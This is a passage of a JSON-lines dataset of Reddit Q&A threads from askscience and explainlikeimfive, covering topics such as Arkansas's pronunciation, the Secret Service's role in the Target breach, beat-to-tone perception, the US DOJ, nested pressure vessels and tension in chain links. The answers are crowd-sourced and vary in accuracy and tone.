Arkansas, but pronounced Arkansaw. This pleased both senators, hence why the state has such a strange pronuncuation for how it's spelled.", "In my 19 years of life I never noticed that Arkansas was spelled like Kansas just with an added ar ", "If you happen to live in KS, the river that goes through Wichita is pronounced \"R - Kansas\" and if you pronounce it any other way, you are a filthy outsider and looked at as if you are a libby lib lib that will take their guns and force abortions on the rest. ", "It comes from the French pronunciation where the -s is silent like many other words that end in -s", "And why is Houston street in New York pronounced different from Houston city in Texas? One is \"howston\", the other is \"hewston\".\n\nI know they are named for two different people named Houston, but why is one family name Houston pronounced different from the other family?\n\n", "This made me laugh. I also had always wondered, and have purposely mispronounced Kansas the way one would pronounce in Arkansas, so it would sound like, \"Kin-saw\". It's especially fun during March madness", "Why the fuck is this the first time I've noticed this? ", "Because in 1881 the Arkansas Legislature ruled that pronunciation to be the official one.\n\n > The name Arkansas derives from the same root as the name for the state of Kansas. The Kansa tribe of Native Americans are closely associated with the Sioux tribes of the Great Plains. The word \"Arkansas\" itself is a French pronunciation (\"Arcansas\") of a Quapaw (a related \"Kaw\" tribe) word, akakaze, meaning \"land of downriver people\" or the Sioux word akakaze meaning \"people of the south wind\".\n\n\n > In 1881, the pronunciation of Arkansas with the final \"s\" being silent was made official by an act of the state legislature after a dispute arose between Arkansas's two U.S. senators as one favored the pronunciation as /\u02c8\u0251\u02d0rk\u0259ns\u0254\u02d0/ ar-k\u0259n-saw while the other favored /\u0251\u02d0r\u02c8k\u00e6nz\u0259s/ ar-kan-z\u0259s.[c]\n\n\nYes, I looked that up on Wikipedia.", "I moved to Idaho about a year and a half ago, and you can identify native Idahoans versus non-natives by how they pronounce the city Boise. Locals call it \"boy-see\" while everyone else usually says \"boy-zee.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], ["https://www.reddit.com/r/AskReddit/comments/48jqmv/z/d0ki8qg"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "6p9obx", "title": "Can you refract light in a circle with the right materials?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6p9obx/can_you_refract_light_in_a_circle_with_the_right/", "answers": {"a_id": ["dknujqo", "dknwrnt"], "score": [3, 13], "text": ["Well, not in a circle, but I think it would theoretically be possible to refract light back to it's starting position. But you would need at least three media with fairly high differences in their refractory index and I don't know if suitable materials exist.\r\r\rI might do the math later.\r\rEdit: spelling ", "No.\n\nOne way to see this is because the equations that describe the motion light can be reversed in time.  If you have a setup that somehow causes light to travel in an un-ending cycle, you should be able to reverse time and watch the light going in an un-ending backwards cycle.  And that right there is the conflict: \"un-ending cycle\".  If you have a perfect loop such that light can never get _out_ when the system is run backwards in time, it means that light will never be able to get _in_ to a perfect loop when the system is run forwards in time.\n\nIt can't be done.\n\nYou can build a perfect loop (use mirrors, it's easier), but you can't insert any light into it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1v6t71", "title": "why is the secret service investigating the credit card breach at target instead of the fbi?", "selftext": "I keep hearing this on the news.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1v6t71/eli5_why_is_the_secret_service_investigating_the/", "answers": {"a_id": ["cep8w2i", "cep8wds", "cep8we4", "cep8z4l", "cepbqes", "cepca2f", "cepdhg8", "cepgovk", "cepgqs7", "ceph63l", "cepj4i0", "cepljgq", "cepoahd", "cepoar9", "ceponys", "cepp2u8", "ceprv35", "cepsrg6", "cepsy2c", "ceptolj", "cepuoap", "cepxsla", "cepyivh", "cepyyc3", "ceq0ehz", "ceq0jxu", "ceq1fhy", "ceq26l1"], "score": [1363, 22, 3, 265, 6, 32, 12, 79, 18, 2, 6, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 3, 2, 5, 3, 3, 3, 3], "text": ["That's what the [Secret Service](_URL_0_) was created for:\n\n > The mission of the United States Secret Service is to safeguard the nation's financial infrastructure and payment systems to preserve the integrity of the economy, and to protect national leaders, visiting heads of state and government, designated sites and National Special Security Events.", "That's their main job: protecting the financial and payment systems of the US (ie, counterfeiting, credit card stuff, etc), and investigating crimes relating to those. Protecting the president is sort of an extra responsibility they were later given.  Until recently, they were even officially part of the Treasury department. ", "The Secret Service's role includes the investigation of major financial crimes. All the other alphabet agencies like the FBI, CIA, etc. are spinoffs of the Secret Service; the Secret Service used to do everything.", "The US Secret Service was originally created by Abraham Lincoln (actually, on the day of his assassination) to track counterfeit bills. Their original mission was as part of the Treasury Department, and their role was to investigate counterfeiting and fraud operations. At the time the Secret Service was created, there was a lot of counterfeit money in circulation, and that damaged people's faith in whether or not the dollar they were holding was really worth anything.\n\nThe Secret Service starting performing protection duties in 1902, after William McKinley was assassinated. However, they were still a part of the Treasury Department at the time (now, they're under Homeland Security), and so continued to investigate a number of financial crimes, which they do to this day. Stemming from this, after the September 11 attacks, President Bush signed the Patriot Act, part of which assigned the Secret Service to set up \"Electronic Crimes Task Forces.\" Basically, the Secret Service would take the lead in investigating online financial crimes. So, that's why the Secret Service is leading this investigation.", "Yep. because thats what the secret service's primary function is. To investigate cases of financial fraud and counterfeiting, etc.", "Shouldn't Target be all up on this too? They have their own [crime lab](_URL_0_).", "sub question: what is the difference between the cia, fbi, nsa, and secret service?", "I think the better question is why does the Secret Service protect the president?", "The FBI was created to take over some of the tasks the secret service was overseeing. The secret service's initial role was to deal with counterfeit currency and to neutralize and store mysterious artifacts.", "The Secret Service was created to investigate fraud... by Lincoln.", "Because the Secret Service is a part of the department of treasury, and part of their job (other than guarding the president and vice president) is going after people who try to falsify currency. Usually this is counterfeiters, but people who steal other payment methods falls under their jurisdiction. ", "Secret Service is part of DHS now, not Treasury.", "I thought 5 year olds could work google", "Because the Secret Service was designated this power when it was under the Department of the Treasury. They are also responsible for the investigation and handling of counterfeit money cases. This has not changed after it was moved under the purview of the DHS. All that did was add terrorism, etc to their list of additional fields of review.", "Most  simplistic answer, Secret Service is an seem of the Treasury, the Treasury handles money issues.", "I asked a secret service agent this same question when our company had a computer breach in 2003. His response was we're in the business of protection and went on to explain that it does not stop at the president.", "Maybe Obama's credit card information was stolen too.", "The FBI has changed its directive as of this past summer. Instead of \"law enforcement\" it now says that it exists for \"national security\". \n\nSo don't go looking for them to solve crimes - they are busy surveilling the American public for possible terror plots that might exist in your email or web history. ", "Keep in mind the historical context of the secret service. When it was created over a century and a half ago, investigating forgeries and financial fraud did not involve sitting in front of a computer. It would entail going after relatively well organized criminals. That is, investigators would have to be both tough and street smart. Furthermore, there was no DHS, no ATF, no SWAT team in every town. So the eventual link between finance and providing physical security was much more direct than it seems to modern eyes.", "The Secret Service's main job is the protection of U.S. currency and hunting down monetary fraud and counterfeiting.  They only became a protective detail after President Lincoln was killed.  ", "I wonder what are the chances that the breach was pulled off by an NSA subcontractor who's job happened to be the collection of the data streams from Target.  Or, the chance that somebody found an NSA backdoor into Target's network that was accidentally left open.", "Am I seriously the only person who's bothered by the grammar here???", "Secret service is national monetary, FBI is crime. \n\nFinancial crime is a grey area. Whoever wants it more gets it. ", "Why would the Secret Service investigate the FBI?", "The Government establish the Secret Service to handle counterfeiting back when individuals banks printed their own notes. Counterfeiting was a huge deal after the Civil War. They got into the protection business after Lincoln's murder. The federal govt only had a handful of agencies with national jurisdiction to investigate crimes, the US Marshal was the main agency but it was overworked, so the Secret Service took the duty of protecting the Presidents  &  other important leaders. ", "Because there's an artifact involved lol", "The exposed data from this breach affected 120 million people....statistically more than 1/3 of the entire nation's population. A breach of that magnitude probably involved the hacker(s) finding a flaw within a MAJOR 3rd party payment system's infrastructure. If the same method used to pull that off was applied to another critical system w/an identical security template, the hackers involved could potentially pose a threat to national security. In that case, it's not just a matter of jurisdiction, the investigators would need some serious resources (CIA/NSA) to figure out who the intruder is and get a handle on the situation. Also remember, if the crack affected THAT many people, chances are Target wasn't the only target (pun intended).", "Because there wasn't a credit card breach at the FBI.\n\n*I'll see myself out*"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.secretservice.gov/mission.shtml"], [], [], [], [], ["http://www.mprnews.org/story/2011/10/21/target-forensics-lab"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "5dpu0z", "title": "What is the fastest beats per minute we can hear before it sounds like one continuous note?", "selftext": "Edit: Thank you all for explaining this!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5dpu0z/what_is_the_fastest_beats_per_minute_we_can_hear/", "answers": {"a_id": ["da6nj4c", "da6ntsu", "da6o66y", "da6qfpz", "da6qix7", "da6ri0n", "da6rnba", "da6s8ta", "da6sp4d", "da6t1dx", "da6v5v6", "da6wfiv", "da6x9o4", "da6xeq1", "da6xkw5", "da70ltw", "da72sqx", "da75rs3", "da7jy6y"], "score": [22, 658, 21, 77, 6, 18, 7, 38, 26, 2909, 3, 3, 2, 2, 19, 4, 3, 2, 5], "text": ["Because sound is a a sinuous wave,  frequency and pitch are interrelated. \n\nThe highest pitch you can hear is relative to your specific ear,  your physiological development and your hearing damage.  \n\nMales between puberty and 20 years old have the chance to be able to hear frequencies up to 22kHz (hence why 44.1kHz was chosen as the sampling rate for CDs--see nyquist-shannon sampling theorem). \n\nWhere those begin to be perceived as \"blending\",  I'm afraid I don't know. However, in the land of pyscho-acoustics, there is quite a bit of research with regards to being able to hear a burst of short,  high frequencies,  or \"artifacts\" when evaluating the performance of lossy audio codecs.", "Steve Lehman in his [dissertation](_URL_0_) talks about the highest perceivable tempo.\n\n > Parncutt also suggests a standard tempo range of 67-150 BPM, finding that listeners stop hearing durations as regular pulses below 33 BPM (1800 seconds) and start grouping individual pulses into larger units above 300 BPM (200 milliseconds). Parncutt\u2019s proposed limits on the perception of tempo (200-\n1800 milliseconds) can also be directly related to a listener\u2019s physical ability to reproduce isochronous durations. Bruno Repp (2005) has cited 100 milliseconds as the shortest physically reproducible duration and 1800 milliseconds as the longest such duration. 1800 milliseconds (33 BPM) corresponds to Parncutt\u2019s lower limit of tempo perception and the duration of 100 milliseconds, is half the value of Parcutt\u2019s upper limit of 200 milliseconds. For many music theorists, the \nvery notion of tempo is contingent upon the ability to perceive symmetrical divisions of a regular pulse, usually in ratios of 2:1 or 3:1. Given our apparent inability to reproduce, and perceive regular sub-pulses shorter than 100 milliseconds, Parncutt\u2019s upper limit of tempo perception (200 milliseconds) can be viewed as a logical threshold. \n\nFor reference 16th notes around 150 bpm are approximately 100 ms. So 16th notes in [Radiohead's Weird Fishes](_URL_1_) are approximately 100ms long each. It's not exact, but it might give you a frame of reference for how long that duration is. \n\nIt's not exactly what you asked about, but it does give you a place to start and should someone not come along with a full answer you could try looking through the sources. \n\n", "Great questing, this is an easy one. The frequency range of human hearing is 20-20000 Hz. E0 in A440 equal temperament is 20.60 Hz. So to answer your question, if you heard 20.60 evenly spaced beats over the duration of 1 second, you would perceive the tone of E0. This clocks in at a little bit over 1200 beats per minute.\n\nThe same logic would apply to any values on the music frequency charts in the link provided. But again, human hearing range tends to become audible at 20 Hz, or roughly 1200 beats per min.\n\n_URL_0_", "I've seen some good explanations in here about a few things but I don't quite think they are what OP is asking about. I don't have an exact answer but check out [this video]( _URL_0_). When the gun fires at 600 pounds per minute (think beats per minute) it's pretty easy to hear distinct shots (beats). But when it fires at 30,000 rounds per minute it sounds like a tone as opposed to individual shots. So the answer is obviously somewhere between 600 and 30,000 bom.", "I found a youtube video with a metronome playing 1000 beats per minute, then sped it up by x 1.25, 1.5, and 2.0. Personally, I could distinguish individual notes at 1500 beats per minute. It began to sound like one continuous note at 2000 beats per minute, but that could be due to the audio quality or the instrument choice. I think it probably depends on two variables: how clear you can make each individual note, and how perceptive a person's ears are.", "There's so much information here, and so much of it is irrelevant. \n\nLet's start by talking about envelope. Envelope is the way we describe how sound changes over time. There are four terms: Attack, Decay, Sustain, and Release. For our purposes, since we are talking about percussive sounds, we only need to worry about Attack, and Release. Attack is the amount of time it takes for a sound to reach it peak amplitude, and Release is the amount of time it takes to die out. \n\nFor this discussion we have to assume that there is no limit to the amount of times we can play a sound, and that each sound is going to be played independently. This is important, because if you had only one machine to produce the sound, you would be able to perceive where each sound is being cut off. \n\nTo be brief, two sounds would have to be within 10 milliseconds of each other, depending on the length of the attack, to start becoming perceived as one sound. \n\nHowever, we must also consider that if two of the same sounds happen with very short times of each other they begin to affect each other. These effects are known as phase, flanges, and chorus by most musicians. ", "I made a sequence of beats that slowly speed up until they sound like a tone. I find that there is no sudden transition, that they slowly sound more like a tone and less like beats.\n\n[Beats that speed up into tone](_URL_0_)\n\nIt starts at 208 BPM, reaches 950 BPM half way through, and ends at 4083 BPM.", "Psycho-acoustics and perception are not areas where you can draw strict boundaries between stimuli and their perception. \n\nStill, one fascinating concept is what we call the \"thickness of the present\", which is about 100ms (or 10 Hz) and is tied to our central nervous system rather than our perceptual system. In a rough approximation, it is the \"internal clock rate\" of our brain. It is the time span within which 2 successive and appropriate stimuli will be merged into one single percept more or less appropriately , because your brain cannot separate them for individual processing.\n\nSo, take a sequence of consistent pictures presented to you: at 12 to 24 Hz, your brain starts merging the one after the next, and you see a smooth animation instead of successive pictures. Similarly, at about 12 to 20Hz, appropriately formed audio waves start to be perceived as a low bass sound instead of a wobbling pulse. Similar effects can be perceived with touch (using grainy surfaces that you brush with your fingers).\n\nBut this does not work for everything. In audio as in video, the merging between successive stimuli to interpret them at a higher level can only occur if there is some sort of consistency between them. Very fast sequences of white noise are still interpreted as beats at 40Hz. Conversely, a sound with lots of energy in the higher harmonics can be perceived as an infra-bass sound lower than 10Hz , as our ears can reconstruct a low fundamental frequency from its harmonics.\n\n\nRather than set absolute boundaries, you may want to play and discover for yourself these effects, by using a tool such as _URL_0_ . In this tool, while it's not its end goal, you can place and modulate audio signals between 0.0001Hz and 20kHz on a continuous scale.  If you place sounds around the line of 20Hz, you can hear the transition from beats to low audio for various stimuli.", "Stop talking theory and try some practice. Google \"metronome\", and google puts up metronome. \n\nIt only goes up to 218BPM. clearly individual ticks. You can find other online metronomes that go to 330 BPM. Still sound like clicks, not even close to sounding like a tone.\n\nNext up: audacity, open source audio software.\n\nGenerate a click track. It only goes to 300 BPM, which, again, clearly sounds like a series of clicks. (5 per second). (settings 300 bpm, 1Beat/measure, click duration 1ms, click sound: tick)\n\nThat's as fast as it will generate, but we are not done yet.\n\nEffect menu, change speed:\n300% - >  still clicks to my ear\n400% - >  borderline\n500% - >  sounds more like buzzing than clicks to me.\n1000%- >  Buzz, can't hear individual clicks.\n\nDon't take someone's word for it, try it yourself. You may hear it differently.\n\nnote: 300 bpm  5 beats/second. 5x5=25 Beats/second.\n\nso, for me, around 25Hz. ", "Sound engineer here. \n\nWhat none of these post mention, and what you are looking for is something called the Haas-effect. Lots of people here mention Hz, and while that is certainly related you are still able to distinguish the individual beats at a low frequency.\n\nThis is also known as the [Precedence effect](_URL_0_):\n > The \"precedence effect\" was described and named in 1949 by Wallach et al.[3] They showed that when two identical sounds are presented in close succession they will be heard as a single fused sound. In their experiments, fusion occurred when the lag between the two sounds was in the range 1 to 5 ms for clicks, and up to 40 ms for more complex sounds such as speech or piano music. When the lag was longer, the second sound was heard as an echo.\n\nSo the real answer is, depending on your metronome sound it will range from 1 ms (60000 BPM) to around 40 ms (1500 BPM) between each click where you can no longer distinguish each hit. ", "Just tried this out. I played a D3 note on every 16th beat and set the tempo to gradually increase from 100 bpm to 990 bpm. You can hear tones emerging around half way through. What do you think?\n_URL_0_\nIt might be fun to mess around with this trying out different original notes or maybe even using chords or melodies instead of just one repeating note.", "I remember from high school that humans need at least 0.1s between two sounds to hear them as 'seperate' sounds, so anything more than a beat every 0.1s should be a continuous note.\nA little bit of arithmetic tells us that anything above 600bpm should not be distinguishable as seperate notes.\n\nPS: I may be wrong, I have operated on the assumption that the least amount of time between two notes is 0.1s.", "Well, the average human hearing range goes down to about 20 Hz, which means 20 oscillations per second. So, I guess you would have to play 16th notes at 150 BPM, theoretically. However, by experience, let me tell you that 16ths at 150 BPM sound far from a continuous note. I play 16ths at 160, and sometimes higher, and it's quite easy to discern the different notes. \n\nThat might be due to the fact that, when hearing a continuous 20 Hz sinewave, you can distinguish the cycles of the note yourself. [Try here](_URL_0_), but you **must** have a subwoofer or big speakers to hear it from your computer. It's much easier to hear a 20 Hz tone coming from a down-tuned bass guitar, but that's mainly because of the overtones, or harmonics, which aren't present in that sound file.\n\nI made a small experiment with a synthesized drums kit. The 16ths notes at 150 BPM are clearly different hits. Cranking that up to 240 BPM, or 32 notes per second, yields nothing new. For me, the transition between '*Those are different hits*' and '*This sounds a weird note*' is between 350 (46.7 Hz) and 400 (53.3 Hz) BPM. At 500 BPM (66.7 Hz), it's clearer, and at 600 BPM (80 Hz), it sounds like a continuous sawtooth wave. \n\nOn another note, when I checked off the 'Humanize' option, which gives the synth drummer more dynamic range in its playing, it was much, much harder to tell if it's a series of hits or a continuous note. Even at 150 BPM, the 16th snare hits sounded like a tone if I concentrated a little bit. It reminds me of when I played low bass notes on a guitar amp. \n\nI guess that, to sound like a tone, you have to play the exact same sound at, at the very least, 150 BPM 16th notes, or 20 times per second. That would also explain why musicians don't hear what they're playing as a continuous note, when they play at these higher tempi; all note or hit is slightly different.\n\nAnother guess is that it also depends on the sound being played. If you play a hit, I find it easier for high-pitch, quick-attach-and-release hits to sound like a continuous note (example: snare), than lower-pitch and more diffuse sounds (example: kick). If you play a sound that already has a definite pitch (e.g: a keyboard note), then I don't believe you're going to have an illusion of continuous note. What I mean is that the playing frequency of the repetition will not supersede the frequency of the sample (the note played in it) until much higher tempi are reached.\n\nHopefully, it helps.", "Anywhere from 30 to 60 Hz, and a series of clicks will start to sound like a note rather than individual clicks.  \nHowever, Much depends on the nature of the clicks. Lower frequency sin waves are completely inaudible to the human ear. You won't even hear one until it gets up to 50-60 Hz.  \nIf the clicks are harmonically rich, like noise or a pulse, square or a sawtooth wave, then aside from the clicks that you can hear at any frequency, you'll start to hear their upper harmonics form notes at lower frequencies.  \nBPM doesn't really determine how *fast* a song is exactly. It's possible to write a song at 1'000'000 BPM that sounds like a slow ballad. Just put it in 131072/4 meter and use whole notes.  \nShameless plug: I dabble in music that bridges the gap between audible and inaudible frequencies (as well as a whole bunch of other stuff) see the \"ambient\" stuff on my [SoundCloud here](_URL_0_).", "The technical answer is this:\n\nIt you play two very short pulses, first at the same time and then gradually farther apart, you hear them split up in the high frequencies first. You can easily detect 60.000 BPM above 2kHz. \n\nIn the low frequencies, you need a bigger time difference to detect separation. For 60Hz, think of 600 BPM. \n\n(I had to learn this to do good speaker design and tuning. The placement of subs is less critical than the curve of a line array, for example)\n \nFor the artistic answer, listen to Kontakte, by K. Stockhausen. About halfway, there's a tone that gets lower and lower, until it gets broken up in separate chunks of soundwaves, that become a beat rather than a tone. \n\nFor a more popmusic approach of this, listen to Funk Soul Brother by fatboy Slim. This edit goes up!\n\nWhat you will notice in both cases, is that there's no sudden moment in which a pitch becomes a beat. They gradually go from one into the other. The separation can be clear in the high harmonics, while the low harmonics are one sound. ", "You're getting lots of different answers, I think, because the question isn't really clear. You are either asking  \ni) At what rate do distinctly generated audible pulses become indistinguishable    \nii) At what frequency do pressure waves in air become audible  \nThe answer to (i) depends on the pulse shape, underlying frequency and wave form of the pulse.  \nThe answer to (ii) is about 20Hz. Below that, the structures in your ear do not resonate.   \nYou can still sense infrasound because other structures in your body may resonate.  ", "I'm sure it is subjective to one's hearing capacity, but here's a cool little tool to let you experiment with it yourself- _URL_0_\n\n\nTip: ", "This is related but it doesn't answer your question but it may give you a good idea of the answer. There is a subgenre of EDM that likes to increase the BPM until it sounds like one tone. The brilliant YouTuber Frankjavcee did an excellent video on it and it will give you a clear answer because you will actually hear the BPM go up and he will show you the numbers.\n\n_URL_0_", "Musician here.\n\nI'm not much of a scientist, so I can't give the science behind it, but I can answer your question.\n\nIf you follow the link, you will be redirected to a page on Noteflight. It's just a bunch of quarter notes with the tempo increasing by 100 every few measures until it reaches 1,000. After 1,000 is doubles every few measures.\n\nI noticed that I started to hear one note around 1,000 dotted quarter notes per minute. Which is 6,000 BPM I believe. You can check it out yourself.\n\n_URL_0_\n\nHope this helps!\n\nEdit: grammar"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://hf-mirror.net/_cdn/slehman.s3.amazonaws.com/uploads/document/pdf/3/StephenHLehmanDissertation.pdf", "https://www.youtube.com/watch?v=TNRCvG9YtYI"], ["http://www.phy.mtu.edu/~suits/notefreqs.html"], ["https://youtu.be/AEu9LLQpOF8"], [], [], ["https://clyp.it/niclauyb"], ["http://highc.org"], [], ["https://en.wikipedia.org/wiki/Precedence_effect"], ["https://soundcloud.com/niallist/tempo-experiment/s-pZCk1"], [], ["https://www.freesound.org/people/Headphaze/sounds/235212/"], ["http://soundcloud.com/underwaterbob/"], [], [], ["https://academo.org/demos/amplitude-modulation/"], ["https://youtu.be/3RCwKiEMl3M"], ["https://www.noteflight.com/scores/view/936f1d2eaaba03f164519a6f5775d4bfe27d0034"]]}
{"q_id": "19y8l2", "title": "what does the us doj do?", "selftext": "Okay, so the Department of Justice is a part of the executive branch, but is its sole purpose to influence the judicial branch in whatever way the president wants? What are its responsibilities? What's its scope of power? How much power does POTUS have over it? Does the entire thing get turned around completely when a new president with polar opposite views gets elected? It seems that under the Obama administration the DOJ has been particularly active, but is that just my perception?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/19y8l2/eli5_what_does_the_us_doj_do/", "answers": {"a_id": ["c8sfog7"], "score": [3], "text": ["The sole purpose of the Department of Justice is not to influence the judicial branch in whatever way the president wants--that's the job of the Solicitor General. The DOJ is the primary law enforcement agency in the US. THe FBI, the ATF, the DEA, the US Marshals service, and the Bureau of Prisons are just some of the police-type agencies within the DOJ.\n\nThen, on top of that the US Attorney's office is a part of the DOJ. The US Attorney's office is in charge of prosecuting all federal crimes. And, they are the civil lawyers for most parts of the government; meaning anytime the government sues someone or someone sues the government, the USAO will likely (not always, but almost always) be the lawyers handling the case.\n\nIt is an executive agency, so the President has a huge amount of power over it. The president (subject to confirmation by congress) picks the Attorney General, who is the boss of the DOJ. The president also appoints all of the US Attorneys, who are the bosses of the regional offices that prosecute crimes and go to court. \n\nYes, the whole thing gets largely turned around every time a new president gets elected. Obviously, a lot of what the DOJ does is not political, and that all stays the same: bad guys still need prosecuted, and people who defraud the government still need to be sued. But, the president does pick people who will advance his agenda. For example, George Bush fired several US Attorneys who were not being aggressive enough in their prosecution of voter fraud, in his opinion. Then, when Obama took office, the DOJ stopped looking at voter fraud as a priority.\n\nObama's DOJ has not really been more politically active than other recent presidents, but it has been more controversial. Everyone agrees voter fraud is a crime, so when Bush started investigating the hell out of it, it annoyed liberals but it even they had to admit the agency was doing its job.  In contrast, Obama's DOJ has taken more controversial steps, like refusing to defend the Defense of Marriage Act in court. This isn't necessarily improper--just unusual."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "au8154", "title": "Do electrons have 'volume' or is it acceptable to view them as points in spacetime with an attributed mass?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/au8154/do_electrons_have_volume_or_is_it_acceptable_to/", "answers": {"a_id": ["eh6bnn0"], "score": [18], "text": ["The Standard Model treats electrons as pointlike. That means that in the Standard Model Lagrangian, the electron field couples to other fields at the same spacetime point. There's a nice little discussion of what the \"size\" of a particle is in different contexts [here](_URL_0_).\n\nThey *do* have mass, but they *don't* have a well-defined \"volume\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.mat.univie.ac.at/~neum/physfaq/topics/pointlike.html"]]}
{"q_id": "9khpnq", "title": "Can you 'russian-doll' pressure vessels, one inside another, in order to reduce the design requirements on each?", "selftext": "I work with high pressure gas infrastructure ( & gt;1000 bar) where we use very strong and *very* expensive pressure vessels to store the gas at high pressure.\n\nA colleague came up with a 'novel' solution to this gas storage problem which in my gut I feel isn't plausible but i'm struggling to make the argument against it. I'm hoping you guys can either help me debunk it, or even prove me wrong.\n\nHis suggestion is as follows: Lets say you have a pressure vessel containing gas at 300 bar. You put this 300 bar pressure vessel inside a second pressure vessel which contains gas at 200 bar. And you then put THAT pressure vessel inside a third vessel containing gas at 100 bar. You now have a russian doll pressure vessel system. His theory is that each pressure vessel will need only be designed to withstand 100 bar of pressure since the delta between each layer is 100 bar.\n\nSupposedly this theory would extend to 1000 bar and beyond. \n\nPurely based on theory and ignoring the practicalities of transferring gas in/out of the tanks - is this true/not true and if so, why?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9khpnq/can_you_russiandoll_pressure_vessels_one_inside/", "answers": {"a_id": ["e7032nr", "e703bfx", "e7065v6", "e708js4"], "score": [5, 2, 27, 19], "text": ["I see your logic however I dont think this would work because you are assuming the pressure between layers is enough to prevent rupture by preventing expansion of the vessels. The thing is, pressure vessels are designed to be rigid, if they rupture it will likely lot significantly expand, just tare at a weak point releasing the gas into the space, you just gotta hope that the space is big enough to absorb the pressure increase without rupturing also, could be a bomb within a bomb...", "So I am but a humble 3rd year mech. Enr. Student but if these tanks will be used for supplying fuel to something, then in practice this theory may only work via static pressure, the forces being acted upon the Inner walls of the inner vessel would become more prominent as the gas is used from the outer vessel and vice versa, if you use gasses from the inner vessel the outer vessel will impart more forces upon the outer shell of the inner vessel and as you will basically have a section of vacuum inside your other vessel. Now if your vessels are being drained equally in theory this could work assuming uniform pressure ergo your tanks would probably have to be round and there would have to be a perfect seal seperating the outer vessel from the inner vessel with the only point of connection being a one way T valve valve outside of the tanks.\n\nEdit: if you really want to find out then do hoop stress calculations pressure*radius/thickness, there are a few assumptions you can make such as the pressure of the Gass will impart half of its total pressure on the inner walls of the outer vessel and half of its pressure on the outer wall of the inner most pressure, if you have 500 psi in the outer pressure vessel and 250 psi in the inner pressure vessel theoretically the walls of the inner pressure vessel should feel next to no stress other than the compressive forces of the gasses.\n\nEdit2: TLDR, your collegue theory may be true but only in the case that we don't ignore practicalities and such.", "Sure, it's basically the same concept as the difference between gauge pressure and absolute pressure.  If you can nest every part of your system like that then you can reduce the stress on each layer.  \n\nWhy isn't this the normal way of handling high pressures? Imagine having to build it.  Imagine having to modify parts of the system once it's built.  Imagine having to inspect the system.  It's an absolute nightmare at every level.", "I'm an engineer who works with pressure systems. That works on paper, but there are practical problems.\n\n1. Manufacturing: Creating nested means you have more seals between vessels which are prone to leaking, not to mention difficulty of assembly\n2. Inspection: How are you going to inspect the inner vessels?\n3. Pressure regulation? Say you actually need it at 1000 bar. Then you need to regulate the pressure at 900 bar, 800 bar, etc.\n3. Failure: If one fails, then its going to cause a larger than intended pressure differential, and you will have a bad day. (Admittedly, if you have a single vessel that ruptures, you will still have a very bad day. But there will be less shrapnel).\n5. They make pressure vessels that go to 150 Kpsi+. Is this not enough?\n6. As an afterthought, qualifying it would be difficult. A normal pressure vessel would be simple: Do not use above X psi. Put a relief valve on it and done. Safe. With the nested vessel thing, someone's going to mess up and rupture it.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "9p7ta3", "title": "Do all links in a chain experience the same force when carrying a load?", "selftext": "Hey lovelies! \n\nImagine a steel chain, suspended with a weight attached on the end. Would the links further up have greater force acting on them as they would be holding up more links or would the 'equal and opposite' thing balance everything out.\n\nAnd now imagine a chain drawn horizontally with a force applied to both ends - would gravity have a greater effect in the middle of the chain as there would be more leverage there if you see the chain as pivoting from the ends? And what if you had the same situation without gravity?\n\nIf there are different forces on different links could you strengthen those links and efficiently increase the overall strength of the chain? \n\nI look forward to hearing your thoughts. ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9p7ta3/do_all_links_in_a_chain_experience_the_same_force/", "answers": {"a_id": ["e7zrlyz", "e7zvhzy", "e7zwmfg"], "score": [33, 4, 3], "text": ["If the chain was dangling vertically, links near the top would be experiencing higher stress because it is supporting both the load at the end of the chain and the weight of the chain itself.\n\nIf the chain was holding two things in tension horizontally (two ships pulling against each other), the stress would be the same everywhere as long as the chain is pulled taut. The stress would be higher in gravity vs. a zero-g situation (two rockets pulling against each other) because again, the chain would be bearing both the load at either and end and the weight of the chain itself.", "Think of a very long chain laying on the ground. Now pick up one end and lift it straight up, higher and higher. The links a kilometre up are bearing a tremendous load while the ones just off the ground are hardly carrying any weight. Eventually one of the top ones will break from the increasing load. ", "You seem to be asking just about the static case but it is worth pointing out that even in the absence of gravity, in a dynamic case, not all links in the chain are experiencing the same tension. So if you want to pull your load somewhere by your chain then different links will experience different tensions no matter whatever else is going on.\n\nJust imagine three masses, m1, m2 and m3, that are connected to each other by perfect massless rods to form a \"chain\". Now imagine you tug on m1 (the \"front\") with a force T, such that the entire chain moves with a constant acceleration \"a\".\n\nFor m1 the balance of forces is:\n\nm1 x a = T - T_21\n\nwhere T_21 is the tension force of m2 on m1. \n\nFor m2 the balance of forces is:\n\nm2 x a = T_12 - T_32\n\nand for m3 the balance of forces is:\n\nm3 x a = T_23.\n\nSo plugging back in we get:\n\nT_23 = m3 x a\n\nT_12 = (m2 + m3) x a\n\nT = (m1 + m2 + m3) x a\n\nIf we imagine each mass has the same mass (i.e. m1 = m2 = m3) then we get, for example, that the tension between the first two \"links\" is TWICE the tension between the last two. Which is pretty intuitive, the link between 2 and 3 just has to carry enough force to bring m3 along where the link between 1 and 2 has to carry enough force to bring BOTH m2 and m3 along on the \"trip\".\n\nSo in this case there is some merit in having a chain of inhomogeneous strength and weight."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
